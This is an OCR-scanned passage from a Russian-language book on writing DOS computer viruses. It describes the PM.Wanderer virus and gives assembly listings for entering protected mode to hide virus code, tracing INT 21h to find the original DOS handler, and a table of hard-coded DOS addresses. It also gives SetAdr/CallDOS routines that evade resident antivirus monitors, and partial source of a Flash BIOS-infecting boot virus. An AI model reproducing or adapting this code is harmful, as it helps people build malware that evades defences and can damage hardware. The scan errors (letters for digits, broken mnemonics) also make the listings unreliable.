ния имени файла (ОМ или ХЕ), создает свою полиморфную копию
и заражает файлы размером более 4095 байт. Файлы, содержащие
в поле значения времени создания 34 секунды, вирус не заражает, счи-
тая их уже инфицированными. Корректировку атрибутов файлов вирус
не производит, поэтому все файлы, помеченные как “только для чте-
ния”, заражены не будут. Также вирус не заражает программы, имя ко-
торых состоит из 7 букв. Имена данных программ выяснить не удалось,
так как вирус не определяет их имена явно, а подсчитывает CRC име-
ни. Вирус не берет на себя обработку критических ошибок, поэтому при
попытке записи на защищенный диск в процессе заражения появится
стандартный вопрос DOS (…Retry, Ignore, Fail, Abort).
При заражении файлов вирус использует прямой вызов ядра обработчи-
ка DOS INT 21h. Адрес этого ядра он выясняет при трассировке INT 21h
во время своей установки в память. Вирусный код внедряется в начало
СОМ- или в середину ЕХЕ-файла (сразу же после заголовка). Ориги-
нальный программный код запоминается в конце файла. Реальный
——————————————————————————–
рабочий код вируса составляет 3684 байт, но на практике инфицирован-
ные файлы имеют приращение длины более 3940 байт. В теле вируса
содержится текст “WANDERER”.
Обнаружить резидентную копию данного вируса, находящегося в нуле-
вом кольце защищенного режима процессора, обычными способами не-
возможно. Для этого необходимо переключаться в защищенный режим
с наивысшими привилегиями и производить его поиск. Но попытаться
обнаружить признаки вируса в системе можно и обычными способами.
После обнаружения вируса рекомендуется, как и всегда в таких случа-
ях, перезагрузиться с системной дискеты и выполнить лечение в заведо-
мо стерильных условиях. Правда, данный вирус не является Stealth-ви-
русом, и его лечение допустимо даже при активном вирусе.
Теперь немного о результатах тестирования. При заражении несколь-
ких тысяч файлов-жертв вирус проявил себя как “жилец” – все зара-
женные файлы оказались работоспособными. Здесь надо сделать по-
правку – файлы могут оказаться неработоспособными в том случае,
если их стек после заражения окажется в области вирусного кода.
PM.Wanderer при заражении файлов не корректирует значения стар-
товых SS:SP в ЕХЕ-заголовке. Как уже отмечалось выше, он сохраняет
способность к воспроизводству только в том случае, если в системе уста-
новлен драйвер EMS (EMM386). При установленном драйвере EMM386
с ключом NOEMS вирус перезагружает компьютер. Перезагрузка также
возможна, если в системе используется драйвер QEMM386.
Самое интересное, что если в системе находился резидентный вирус,
а потом произошла загрузка Windows 3.1 или Windows 95, то вирус не
сможет размножаться в данных операционных средах, но при выходе
в DOS он опять получает управление и может “трудиться, не покладая
рук”. Если же вирус будет запущен в DOS-сессии Windows, то из-за
отсутствия интерфейса VCPI вирус не сможет переключиться в защи-
щенный режим. При отсутствии VCPI под OS/2 вирус также нежизнес-
пособен.
Возможно, в недалеком будущем компьютерный вирус сможет полнос-
тью заменить своим кодом программу-супервизора и сам будет поддер-
живать интерфейсы DPMI, EMS/VCPI, XMS, INT 15h. Кто знает.
Приведенная ниже программа позволяет программисту перевести про-
цессор в защищенный режим. В этом режиме вирус может, например,
расшифровать некоторые данные.
——————————————————————————–
Данная программа делает следующее:
- создает таблицы GDT и LDT, используя текущие значения
CS.DS.SS
- запрещает все прерывания, открывает линию А20
для доступа к RAM>1 Мбайт
- переводит процессор в защищенный режим
- в первый символ строки qw заносит символ L
- выходит в реальный режим
- разрешает прерывания, закрывает А20 -т
- выводит на экран строку qw (”Light General”)
- выход в DOS
.286
.model tiny
.code
org 100h
Определения для защищенного режима работы программы
;Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrv dw 0
desc_struc ENDS
ACC_PRESENT equ WOOOOOOb
ACC_CSEG equ OOO-MOOOb
ACC_DSEG equ 000-IOOOOb
ACC_EXPDOWN equ 000001 OOb
ACC_CONFORM equ 000001 OOb
ACC_DATAWR equ 0000001 Ob
DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 1001001 Ob
CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM
; 10011100b
STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
ACC.EXPDOWN; 1001011 Ob
;Размеры сегментов (реальные размеры на единицу больше)
CSEG SIZE=65535
——————————————————————————–
DSEG_SIZE=65535
STACK_SIZE=65535
[Смещения используемых дескрипторов
CS_DESCR=(gdt_cs-gdt_0)
DS_DESCR=(gdt_ds-gdt_0)
SS_DESCR=(gdt_ss-gdt_0)
;Константы значений портов ?
CMOS_PORT equ 70h
STATUS_PORT equ 64h
SHUTDOWN equ OFEh
A20_PORT equ OD1h
A20_ON equ ODFh
A20_OFF equ ODDh
INT_MASK_PORT equ 21 h
KBD_PORT_A equ 60h
start:
.Инициализируем необходимые данные для перехода
;в защищенный режим
call init_protected_mode
[Переходим в защищенный режим
call set_protected_mode
;Теперь компьютер работает в защищенном режиме!
;Так как таблица прерываний реального режима не может быть
использована в защищенном, прерывания запрещены!
;Именно тут можно вставить инструкции, нужные вирусу
.Возвращаемся в реальный режим
call set_real_mode
[Печатаем сообщение "Light General"
mov ah,09h
lea dx.qw
int 21 h
;Выходим в DOS
mov ax,4COOh
int 21 h
--------------------------------------------------------------------------------
[Макрокоманда для установки адреса для дескриптора
;в глобальной таблице дескрипторов GDT.
;На входе регистры DLAX должны содержать
.абсолютный адрес сегмента
setgdtentry MACRO
mov [desc_struc.base_l][bx],ax
mov [desc_struc.base_h][bx],dl
ENDM

gdt_gdt desc_struc
gdt_ds desc_struc
gdt_cs desc_struc
gdt_ss desc_struc
GDT_SIZE=($-GDT_BEG)
END start
Обход резидентных антивирусных мониторов
Обычно все программы используют сервис DOS так:
mov ah,…
int 21 h
По команде INT управление передается в точку, адрес которой определя-
ется двумя словами, находящимися в таблице векторов прерываний
по адресу 0000h:0084h. С этого момента начинается исполнение команд
многочисленных обработчиков прерывания INT 21h и не менее многочис-
ленных резидентных программ до тех пор, пока управление, наконец,
не получит оригинальный обработчик операционной системы (рис. 5.1.):
Разумеется, среди этих многочисленных обработчиков может “затесаться”
обработчик, принадлежащий антивирусному монитору, который не дает
спокойно работать не только вирусам, но и обычным программам.
Поэтому серьезные вирусы и некоторые хорошо написанные программы
пытаются определить адрес оригинального обработчика и обратиться
к нему напрямую, в обход остальных обработчиков:
mov ah,…
pushf
——————————————————————————–
call dword ptr 021
021 dw ?
S21 dw ?
Но антивирусные мониторы учитывают эту возможность и принимают
свои меры.
Определение адреса оригинального обработчика DOS
Для того чтобы обратиться к DOS напрямую, нужно знать адрес ориги-
нального обработчика. Получить этот адрес не так просто.
Метод трассировки
Чаще всего используется метод трассировки при помощи отладочного
прерывания INT 1. Суть метода заключается в том, что вирус трассиру-
ет прерывание INT 21h (включает флаг трассировки, при этом после
каждой команды происходит прерывание INT 1) и проверяет значение
сегмента, в котором идет обработка прерывания. Если значение сегмен-
та меньше ОЗООЬ, то это обработчик DOS. Например, так поступал мно-
го лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соот-
ветствующего фрагмента с комментариями:
;Берем из таблицы векторов прерываний текущий адрес INT 01 h
mov ax,3501 h
int 21h
mov si.bx ;смещение сохраняем в регистре SI
mov di.es ;сегмент сохраняем в регистре DI
Останавливаем свой обработчик INT 01h
mov ax,2501h
mov dx,offset lnt01
int 21h
;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET
;из INT 21h попасть на метку Next – помещаем в стек
.последовательно флаги, сегмент и смещение метки Next
pushf
push cs
mov ax,offset Next
push ax
——————————————————————————–
;Начинаем трассировку INT 21 h. Для этого нужно подготовить стек
;следующим образом: поместить в него флаги с включенным флагом
;трассировки, а также сегмент и смещение текущего обработчика
;INT 21 h. Затем можно выполнить команду IRET – программа запустит
.текущий обработчик и считает из стека флаги (флаг трассировки
;во флаговом регистре включится, начнется трассировка. После
.каждой команды процессора будет запускаться INT 01 h).
;Помещаем в стек флаги, включаем в них бит, соответствующий
;флагу трассировки TF. Для того, чтобы включить флаг
.трассировки TF, после сохранения флагов в стеке считаем их
;в регистр АХ, в нем включим соответствующий бит, а затем
.сохраним регистр АХ в стеке
pushf
poр ax
or ax,0100h
push ax
;Считаем из таблицы векторов прерываний текущий адрес INT 21 h
mov ax,3521 h
int 21 h
[Сохраним в стеке сегмент, а затем и смещение текущего обработчика
push es
push bx
[Установим в регистре АН номер какой-либо безобидной функции
;(чтобы определение адреса обработчика DOS
;не сопровождалось разрушениями)
mov ah.OBh
.Запускаем трассировку
cli
iret
[Обработчик INT 01 h
lnt01:
;При вызове обработчика в стеке находятся: значение регистра IP,
;значение регистра CS, флаги перед прерыванием.
[Адресуемся к стеку с помощью регистра ВР,
--------------------------------------------------------------------------------
[Предварительно сохранив текущее значение ВР
push bp
mov bp.sp
;Теперь в стеке находятся:
;SS:[BP] – ВР
;SS:[BP+2] – IP
;SS:[BP+4] – CS
;SS:[BP+6] – флаги
; Проверяем флаг продолжения
cmp byte ptr cs:ContinueFlag,1
;Если флаг продолжения выключен, то выходим из трассировки
jne TraceOff
[Проверяем текущий адрес. Если сегмент меньше 300h,
обработчик DOS достигнут, иначе - продолжаем трассировку
;и выходим из обработчика
cmp word ptr [bp+4],300h
jnc ExitFromInt
[Достигнут DOS - берем из стека адрес обработчика и сохраняем его
push bx
mov bx,[bp+2]
mov word ptr cs:021,bx
mov bx,[bp+4]
mov word ptr cs:S21,bx
pop bx
.Заканчиваем обработку прерывания и дальнейшую трассировку
TraceOff:
[Устанавливаем в ноль бит, соответствующий TF,
;в копии регистра флагов в стеке
and word ptr [bp+6],OFEFFh
[Устанавливаем в ноль флаг продолжения
mov byte ptr cs:ContinueFlag,0
ExitFromInt:
pop bp
.Выходим из обработчика
i ret
--------------------------------------------------------------------------------
[Восстановление после трассировки
Next:
[Сбрасываем флаг продолжения
mov byte ptr ds:ContinueFlag,0
[Восстанавливаем прежнее значение вектора прерывания INT 01 h
mov ax,2501 h
mov dx.si
mov ds.di
int 21 h
В настоящее время этот алгоритм можно считать несколько устарев-
шим. Дело в том, что современные версии DOS могут размещать свой
обработчик в областях верхней памяти. Поэтому условие окончания
трассировки должно выглядеть, например, так:
cmp word ptr [bp+4],300h
jb loc_65
cmp word ptr [bp+4],OFOOOh
ja loc_65
В качестве альтернативного варианта можно использовать такой прием.
Сначала определяется исходный сегмент DOS при помощи недокумен-
тированной функции 52h прерывания INT 21h (возвращает адрес век-
торной таблицы связи DOS):
mov ah, 52h
int 21h
mov SegDOS, es
Тогда условие завершения трассировки можно оформить следующим
образом:
push ax
mov ax, cs: SegDOS
cmp word ptr [bp+6], ax
pop ax
jz DOSIsGot
Разумеется, разные приемы могут дать разные результаты. Причем все
результаты можно считать в той или иной мере корректными. Дело
в том, что современные версии DOS, даже будучи загруженными в верх-
нюю память, всегда имеют точку входа в нижней памяти вида:
——————————————————————————–
пор
пор
[Проверка состояния адресной линии А20
call Check_A20
[Переход в верхнюю память
jmp cs: dword ptr HI_DOS
С точки зрения обхода резидентных мониторов "правильным" следует
признать адрес в обработчике DOS, имеющий максимальное значение.
Мы еще вернемся к вопросу о нахождении "правильного" адреса далее.
Авторы антивирусных мониторов знают о подобном приеме поиска ори-
гинального адреса DOS. Достаточно легко испортит трассировку, на-
пример, вот такой вот фрагмент, встроенный в цепочку обработчиков:
.Вызываем обработчик прерывания INT 60h (до этого момента
[Прерывание INT 60h должно быть перехвачено)
int 60h
;Сюда нужно вернуться из прерывания
пор
[Сюда реально вернемся, и флаг трассировки будет сброшен,
;то есть трассировка будет прекращена
пор
[Обработчик прерывания. При вызове прерывания флаг трассировки
.сбрасывается - при входе в обработчик трассировка будет выключена
lnt60:
[Разрешение прерываний, так как при выходе из обработчика не
[будет восстанавливаться оригинальное значение регистра флагов
sti
[Увеличиваем на единицу адрес возврата в стеке
push bp
mov bp, sp
add [bp+2],1
pop bp
[Выходим из прерывания, но не командой IRET, а командой RETF 2,
.чтобы не восстанавливать флаги (и, как следствие,
--------------------------------------------------------------------------------
.флаг трассировки TF)
retf 2
Кроме того, факт трассировки можно достаточно просто обнаружить,
применив хорошо известный разработчикам защит от несанкционирован-
ного копирования прием аппаратного конвейера, который использует
процессор для ускорения работы. При выполнении очередной команды
процессор считывает код следующей. Когда придет время выполнения
следующей команды, она будет уже считана из памяти, и не нужно бу-
дет тратить время на ее чтение. Прием заключается в модификации ко-
манд, которые уже оказались в конвейере: если трассировка не ведется,
то код команд модифицируется только в памяти, а выполняется та про-
грамма, которая находится в конвейере. Если трассировка ведется, то
конвейер сбрасывается перед каждой командой трассируемой програм-
мы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и вы-
полняется модифицированный код.
Кодифицируем следующую команду. Команда JMP (безусловный
; переход) заменяется на две команды NOP (нет операции)
mov Metka, 9090h
Переходим, если выполняется немодифицированный код (в случае,
;когда трассировка не ведется), и проходим дальше, если выполняется
кодифицированный код (в случае трассировки)
Metka: jmp NoTrace
Trace:
;Сюда попадем при выявленном факте трассировки
NoTrace:
Трассировка не ведется - нормальное выполнение программы
Наконец, последний гвоздь в гроб идеи использования трассировки за-
бит: "Выставленный флаг трассировки можно выявить косвенно, замас-
кировав аппаратные прерывания, поместив в [SP-1] контрольное значе-
ние и дав инструкцию STI. Тогда по изменению слова в стеке можно
судить, было трассировочное прерывание или нет”.
Выявив факт трассировки прерывания DOS, мониторы начинают выда-
вать об этом соответствующие сообщения, поэтому даже не самый
опытный пользователь догадается, что кто-то (например, вирус) пытает-
ся попасть в систему.
——————————————————————————–
Метод предопределенньш адресов

Переходим к методу определения оригинального адреса точки входа
в DOS, основанному на том, что эти адреса для разных версий и конфи-
гураций DOS имеют в общем случае различные значения, но число
их ограничено. А это значит, что их можно просто-напросто выбирать
из таблицы (причем не очень большой). Прием не новый, но незаслу-
женно забытый.
Имея программу, основанную на одном из ранее описанных способов
определения реального адреса обработчика DOS, загрузочные дискеты
с разными версиями DOS и немного терпения, можно получить при-
мерно вот такую информацию.
Оригинальный обработчик DOS версии 3.30 всегда имеет вид:
.Точка О
2Е CS:
891ЕВ800 MOV [ООВ8],ВХ
2Е CS:
8С06ВАОО MOV [OOBA],ES
СВ RETF
.Точка 1
2Е CS:
3A26FFOD СМР AH,[ODFF]
77DC JA 1443
80FC51 СМР АН,51
74А1 JZ 140D
80FC64 СМР АН,64
74ВА JZ 143A
;Точка 2
Оригинальные обработчики DOS версий 5.0-7.0 очень похожи.
В общем случае они состоят из следующих фрагментов:
Фрагмент 1 (если он присутствует) всегда располагается в нижних ад-
ресах памяти. Большинство алгоритмов трассировки заканчивают рабо-
ту, достигнув этой точки. Для DOS версий 5.0-6.22 этот фрагмент при-
сутствует, если в CONFIG.SYS есть строка DOS=HIGH (вне
зависимости от того, осуществляется ли запуск поддерживающего эту
опцию драйвера HIMEM.SYS). Если драйвера нет, то JMP FAR просто
——————————————————————————–
указывает на фрагмент 2, размещающийся в нижних областях памяти.
Если строки DOS=HIGH нет, то фрагмент 1 вырожден (состоит из од-
ной команды внутрисегментного перехода), и обработчик состоит
из фрагмента 2.
;Точка О
90 МОР
90 NOP
E8CCOO CALL CheckA20
2E CS:
FF2E6A10J MP FAR NEXTDOS
Фрагмент 2 может располагаться как в верхних, так и в нижних адре-
сах памяти.
;Точка 1
NEXTDOS:
FA CLI
80FC6C СМР АН.6С
77D2 JA 40DO
80FC50 СМР АН.50
748Е JZ 40A9
;Точка 2
Для DOS 7.0 структура обработчика, в общем, такая же. Исключение -
фрагмент 1 присутствует всегда, вне зависимости от содержимого фай-
ла CONFIG.SYS. Теперь приведем конкретные значения адресов, полу-
ченные для разных случаев:
DOS 7.0 (русская версия)
Точка О OOC9:OFB2 9090
Точка 1 FF03:41E7 80FA
Точка 2 FF03:420A 1E06
Точка 2А FF03:5333 2ACD
DOS 6.20
device=himem. sys
dos=high
Точка О 0123:109Е 9090
Точка 1 FDC8:40F8 80FA
Точка 2 FDC8:411B1E06
Точка 2А FDC8:41D12ACD
——————————————————————————–
DOS 6.20
dos=high
Точка О 0123:109Е ОЗЕВ
Точка 1 03AC:40F8 80FA
Точка 2 ОЗАС:411В 1Е06
Точка 2А 03AC:41D1 2ACD
DOS 6.20
Точка 1 002A:40F8 SOFA
Точка 2 002А:411В 1Е06
Точка 2А 002A:41D1 2ACD
DOS 5.0
device=himem. sys
dos=high
Точка О 0123:109Е 9090
Точка 1 FDC8:40EB80FA
Точка 2 FDC8:410E 1Е06
Точка 2А FDC8:41C42ACD
DOS 5.0
dos=high
Точка О 0123:109Е ОЗЕВ
Точка 1 03AC:40F8 80FA
Точка 2 ОЗАС:411В 1Е06
Точка 2А 03AC:41D1 2ACD
DOS 5.0
Точка 1 002А:40ЕВ 80FA
Точка 2 002А:410Е 1Е06
Точка 2А 002A:41D1 2ACD
DOS 3.30
Точка О 0070:05DC 892E
Точка 1 0294:1460 ЗА2Е
Точка 2 0294:1480
Точка 2А 0294:151 В 2ACD
DOS 3.10
Точка О 0070:OD43
DOS 3.20
Точка 0 0070:17DO
——————————————————————————–
Точка 2 является оптимальной, то есть в нее целесообразнее всего пере-
давать управление, чтобы обойти резидентные антивирусные мониторы.
Точка 2А – это позиция инструкции INT 2Ah, которую DOS обязатель-
но выполняет в процессе обработки 21-го прерывания.
В конце каждой строки приведены контрольные слова – на тот случай,
если по указанному адресу находится нечто иное.
Борьба с антивирусными мониторами
Современные антивирусные мониторы умеют отслеживать факт прямо-
го обращения программ к DOS.
Защиту 21-го прерывания можно организовать более эффективно, ис-
пользуя метод встраивания в ядро операционной системы. Общеприня-
тая схема такова: в точку входа прерывания INT 21h записывается инст-
рукция JMP FAR на обработчик, который проверяет номер функции на
безопасность. Он восстанавливает оригинальные инструкции в точке вхо-
да прерывания и вызывает обработчик INT 21h. После возврата управле-
ния из прерывания, в точку входа снова записывается инструкция JMP
FAR, и управление передается программе, вызвавшей INT 21h.
Здесь описан обычный “сплайсинг” (встраивание), который широко
применяется разработчиками вирусов. Отметим, что для перехода не
обязательно использовать инструкцию JMP FAR (она занимает 5 байт
в памяти и не везде может быть размещена). Вместо нее можно приме-
нить INT 3, затратив всего 1 байт. В то же время необходимо обеспе-
чить обработку вызовов с кодами OOh, 4Ch, 31h (они не возвращают уп-
равление в исходную точку), а также самовызовов (при завершении
процессов посредством INT 27h и INT 20h).
Процесс развивается следующим образом. Первый компонент антивирус-
ного монитора встраивается в ядро DOS, а второй – просто перехватыва-
ет цепочку 21-го прерывания. Когда программа выполняет инструкцию
INT 21h, управление передается второму компоненту. У антивирусных
мониторов существует список функций, которые воспринимаются ими
как опасные. Они могут сделать проверку на наличие заданной функ-
ции в этом списке, затем выставить флаг “проход цепочки” и передать
управление дальше. Когда первый компонент получает управление, он
проверяет флаг “прохода цепочки”. Если он выставлен, то была инст-
рукция INT 21h, поэтому необходимо сбросить флаг “проход цепочки”
и передать управление в DOS. Если флаг сброшен, это значит, что был
5 – 1436
——————————————————————————–
выполнен прямой вызов. В этом случае требуется принимать соответ-
ствующие меры против возможных действий вируса.
Эта идея исключительно проста и эффективна. В том или ином виде ее
применяют почти все современные антивирусные мониторы. Вот один
из таких вариантов.
После трассировки прерывания выполняется обращение к DOS по
оригинальному адресу. Программа AVPTSR перехватывает обращение.
Точнее, AVPTSR перехватывает INT 2Ah, причем этот вызов произве-
ден из INT 21h, вблизи начала фрагмента. Обработчик INT 08h,
то есть таймера, периодически восстанавливает вектор 2Ah, если он
был отключен.
Подразумевается, что флаг прохода цепочки 21-го прерывания проверя-
ется в обработчике INT 2Ah.
Конструирование неотслеживаемого обращения к DOS
Для чего нужно такое конструирование? Неужели антивирусные мони-
торы настолько бдительны, что пресекают любые попытки открыть для
модификации ЕХЕ- или СОМ-файл? Да, это действительно так. Авто-
ры антивирусных мониторов обладают достаточно эффективными сред-
ствами, чтобы предотвратить прямые обращения к DOS со стороны ви-
русов.
Обратимся к мнению Ю. Косивцова: “Для обнаружения действия нере-
зидентных вирусов необходимо контролировать вызов функций DOS
с номерами: 3Dh (открытие файла через описатель), OFh (открытие
файла через FCB и 5Dh) и подфункцию OOh (косвенный вызов DOS).
Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ
или SYS, то можно выдавать предупреждающее сообщение”.
Список выглядит слишком коротким. Действительно, а что произойдет,
если сначала переименовать программный файл? И почему не учтена
функция 6Ch (расширенное открытие файла)? А что будет, если от-
крыть файл для чтения, а затем изменить режим доступа прямым обра-
щением к SFT?
Конечно же, авторы антивирусных мониторов не столь наивны. Просто
они никогда не раскрывают свои профессиональные секреты. Например,
авторы программы AVPTSR реально учли и использовали все эти мето-
дики и тонкости.
——————————————————————————–
Итак, предположим, что гипотетический антивирусный супермонитор:
- отслеживает и блокирует попытки трассировки 21-го прерывания;
- для контроля “опасных” функций DOS встраивается в начало обра-
ботчика прерывания INT 21h;
- для предотвращения прямого обращения к DOS использует флаг,
сбрасываемый либо во вставленном фрагменте, либо в обработчике
прерывания 2Ah (более грамотный подход).
Эти действия монитора порождают соответствующие проблемы при
конструировании неотслеживаемого обращения к DOS.
Первая проблема достаточно просто решается с использованием “мето-
да предопределенных адресов”.
Для решения второй проблемы стоит проанализировать возможное
расположение в обработчике DOS точки перехода на антивирусный
монитор. Очевидно, это может быть точка 0 либо точка 1. В самом
худшем случае можно допустить, что врезка происходит непосред-
ственно после команды проверки на максимальное значение номера
функции. Далее обработчик DOS “растекается” на многочисленные
ручейки, поэтому отследить их все крайне затруднительно. По край-
ней мере, обработчики функций OFh, 3Dh и 5Fh попадают в разные
ручейки. Однако, при использовании ограниченного набора функций
они могут разместиться и в одном ручейке, что намного упростит ре-
шение данной задачи. Функции 3Ch-43h, отвечающие за создание, от-
крытие, закрытие, чтение, запись, атрибуты и перемещение, действи-
тельно располагаются в одном общем ручейке. Это позволяет
использовать адрес точки 2 для прямого обращения к DOS. Монито-
ры, скорее всего, не будут отслеживать эту точку.
Решение третьей проблемы также не вызовет особых затруднений.
Один из вариантов – замаскировать прерывания таймера и изменить
вектор 8-го прерывания перед прямым обращением к DOS. Вместо из-
менения вектора можно попробовать вставить инструкции IRET в нача-
ло текущего (антивирусного) обработчика. При использовании все того
же метода “предопределенных адресов” и, зная позицию инструкции
INT 2Ah в обработчике DOS, перед прямым обращением к DOS следу-
ет просто заменить этот вызов двумя командами NOP.
Пример реализации
Рассмотрим две подпрограммы, которые используются для прямого об-
ращения к DOS.
5″
——————————————————————————–
Подпрограмма SetAdr предназначена для определения адреса обработ-
чика DOS методом предопределенных адресов. Для версий DOS, “пра-
вильный” адрес которых неизвестен, используется функция DOS 35h
(получить вектор прерывания).
Подпрограмма CallDOS позволяет обращаться к DOS напрямую. В код
включена проверка на номер функции. Для “безопасных” функций
предусмотрен обычный вызов DOS при помощи инструкции INT 21h.
Процедура установки адреса (один из самых коротких,
;хотя и подозрительных вариантов реализации)
SetAdr ргос near
[Устанавливаем указатель на таблицу в регистре SI
mov si,offset Table
;Читаем очередное значение сегмента и смещения из таблицы
Next:
mov es,[si]
mov bx,[si+2]
; Проверяем контрольный код в слове, адрес которого получен
;из таблицы. Если результат отрицательный, переходим
;к следующему элементу таблицы
cmp es:[bx],2ACDh
jnz Skip
.Сохраняем адрес точки 2А
mov Ofs2A,bx
mov Seg2A,es
;Сохраняем адрес точки 2 из таблицы
mov ax, [si+4]
mov Seg21 ,ax
mov ax, [si+6]
mov Ofs21 ,ax
ret
Skip:
; Переходим к следующему элементу таблицы
add si,8
[Проверяем, не закончилась ли таблица. Если таблица закончилась,
--------------------------------------------------------------------------------
;читаем адрес текущего обработчика прерывания
cmp [si], О
jnz Next
;Читаем адреса текущего обработчика прерывания INT 21 h – метод
;” предопределенных адресов” не сработал, точка входа не найдена
mov ax, 3521h
int 21 h
mov Ofs21,bx
mov Seg21 ,es
ret
;Таблица позиций 2А и 2.
Table dw OFF03h, 5333h,OFF03h, 420Ah
dw OFDC8h, 41D1h,OFDC8h, 411Bh
dw 0
SetAdr endp
Процедура прямого обращения к DOS
CallDOS proc near
;Если функция безопасна, вызываем прерывание обычным способом
cmp ah,3Bh
jb Trivial
cmp ah,42h
ja Trivial
;3аменяем вызов прерывания 2Ah на две команды MOP (9090h)
;в обработчике DOS, предварительно
;сохранив первоначальные значения кода
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,es:[bx]
mov cs:Save, ax
mov es:[bx], 9090h
pop bx
pop ax
pop es
——————————————————————————–
;Вызываем напрямую прерывание DOS
pushf
call cs:dword ptr Ofs21
;Восстанавливаем вызов 2Ah
push es
push ax
push bx
mov es,cs:Ofs2A
mov bx,cs:Seg2A
mov ax,cs:Save
mov es:[bx], ax
pop bx
pop ax
pop es
ret
-.Обычное обращение к DOS (используется для безопасных функций)
Trivial:
int 21 h
ret
;B этом месте сохраняем значение для кода вызова INT 2Ah
Save dw ?
;0бработчик прерывания DOS
Ofs21 dw ?
Seg21 dw ?
;Адрес вызова INT 2Ah из обработчика DOS
Ofs2A dw ?
Seg2A dw ?
CallDOS endp
——————————————————————————–
Flash BIOS
Новое место для вирусов
Flash-память – энергонезависимая память, которая обеспечивает рабо-
тоспособность EPROM со встроенной электрической схемой стирания и
перепрограммирования. Энергонезависимая память отличается от RAM
тем, что она не обнуляется при отсутствии напряжения.
Flash BIOS – Flash-память, которая используется для хранения кода
BIOS. Она может быть перепрограммирована – это предусмотрено для
облегчения обновления BIOS. Такие микросхемы применяются в 90%
портативных компьютеров, в большинстве компьютеров 486DX2,
486DX4, Pentium.
Как известно, BIOS получает управление при запуске компьютера. Все
что нужно сделать вирмейкеру – это незаметно модифицировать BIOS,
чтобы вирус стартовал перед загрузкой системы компьютера.
AMI Flash вирус
Алгоритм работы вируса:
1. Проверить компьютер на наличие Flash BIOS;
2. Проверить Flash BIOS на зараженность (осуществить выход, если
она заражена);
3. Считать вектор INT 19h из таблицы (прерывание загрузки);
4. Прочесть первые 5 байт от точки входа INT 19h;
5. Проверить BIOS на наличие свободного места для размещения ви-
руса (поиск области нулей);
6. Установить память Flash BIOS в режим записи (обычно она нахо-
дится в режиме “Readonly”);
7. Записать вирус в найденную область нулей;
8. Записать переход на вирус в точку входа INT 19h;
9. Восстановить режим “Readonly” для памяти Flash BIOS.
Единственное предназначение INT 19h – быть вызванным в процессе
загрузки, чтобы загрузить boot-сектор в память и передать ему управле-
ние. Прерывание именно то, которое и требуется изменить.
Нужно иметь в виду, что одновременно читать из памяти Flash BIOS и
записывать в нее нельзя. Поэтому во время работы вируса нельзя ис-
пользовать временные переменные в этой памяти. Более целесообразным
является создание вируса для обычного boot-сектора. Этот вирус следу-
ет поместить в конец памяти и оттуда устанавливать вектор INT 13h.
——————————————————————————–
AMI BIOS обладает своими специфическими особенностями при разме-
щении в микросхемах Flash-памяти, которые базируются на использова-
нии функции EOh прерывания INT 16h. Самое интересное состоит
в том, что однажды внесенный в эту память вирус может запретить по-
вторно использовать указанную функцию. Это запретит антивирусным
программам воспользоваться ею в процессе удаления вируса из BIOS
компьютера. Исходя из этого, авторам антивирусных программ придет-
ся трассировать INT 16h, чтобы получить оригинальный вектор.
Исходный текст вируса, заражающего Flash BIOS.
;Вирус, заражающий Flash BIOS.
;Если на компьютере есть Flash BIOS, имеется шанс, что его могут
.серьезно испортить. Если BIOS изменится, это может привести
;к неприятностям. Нельзя будет загрузиться даже с “чистой”
;дискеты. Зараженный чип в рабочее состояние не вернуть.
огд О
;При входе в boot-сектор 01=загрузочный диск
mov si,7COOh
[Установим OOOOh в регистрах DS и ES
хог ах,ах
mov es.ax
mov ds.ax
.Установим значение стека OOOOh:7COOh
cli
mov ss.ax
mov sp.si
sti
;Уменьшим на 1Кбайт память (0040h:0013h)
dec word ptr [0413h]
;Получим размер памяти (при возврате в АХ)
int 12h
;Так как размер памяти указан в килобайтах (1024 байт), а нужно
;в параграфах (16 байт), умножим его на 64, что эквивалентно
;сдвигу на 6 разрядов влево
——————————————————————————–
mov cl,6
shi ax.cl
.Установим новый сегмент вируса (вершина памяти)
mov es,ax
.Перенесем вирусный сектор в вершину памяти
xor di,di
mov cx,200h
eld
rep movsb
;Сохраним вектор прерывания INT 13h. Поскольку этот вирус
[загрузился до загрузки DOS, то прерывание INT 21 h еще не
работает - работаем с вектором прерывания прямо в таблице
mov ax.word ptr [13h*4]
mov word ptr es: [off set i13],ax
mov ax.word ptr [13h*4+2]
mov word ptr es: [offset i 13+2],ax
.Установим новый вектор прерывания INT 13h
mov word ptr [13h*4],offset Handler
mov word ptr [13h*4+2],es
[Переходим в точку ES:Restart (в копии вируса,
[находящейся в вершине памяти)
already_resident:
push es
mov ax,offset Restart
push ax
retf
;C этого места программа работает уже в вершине памяти
Restart:
[Загружаем оригинальный boot-сектор из конца
;root directory и передаем ему управление.
;Сброс дисковой подсистемы (перед работой
;с дисковой подсистемой надо выполнить
.функцию ООп прерывания INT 13h)
xor ах.ах
call int13h
--------------------------------------------------------------------------------
[Подготовим регистры для загрузки оригинального boot-сектора
хог ах.ах
mov e,ax ;Сегмент для загрузки
mov bx,7COOh ;Смещение для загрузки
mov cx,0002h Дорожка 0, сектор 2
хог dh.dh ;Головка О
mov ax,0201h ;Функция 2, количество секторов 1
[Проверим диск, с которого грузимся. 80h и выше - жесткий диск,
;иначе - дискета. Копия оригинального boot-сектора хранится
;в разных местах: на жестком диске - дорожка 0, головка 0, сектор 2;
;на дискете - дорожка 0, головка 1, сектор 14
cmp dl,80h
jae MBR_Loader
;Грузимся с дискеты: изменим сектор и головку
mov с1,14 ;Сектор 14
mov dh,1 ;Головка 1
;3агрузим оригинальный boot-сектор по адресу OOOOh:7COOh
MBRJ-oader:
call int13h
.Сохраним в стеке номер диска, с которого грузимся
push dx
Проверим, заражен ли Flash BIOS
cmp byte ptr cs:flash_done,1
je Flash_resident
;3аразим Flash BIOS
call flash_BIOS
.Восстановим из стека DX (номер загрузочного диска)
Flash_resident:
pop dx
;3апускаем оригинальный boot-сектор (JMP FAR OOOOh:7COOh)
db OEAh
dw 7COOh
dw 0
--------------------------------------------------------------------------------
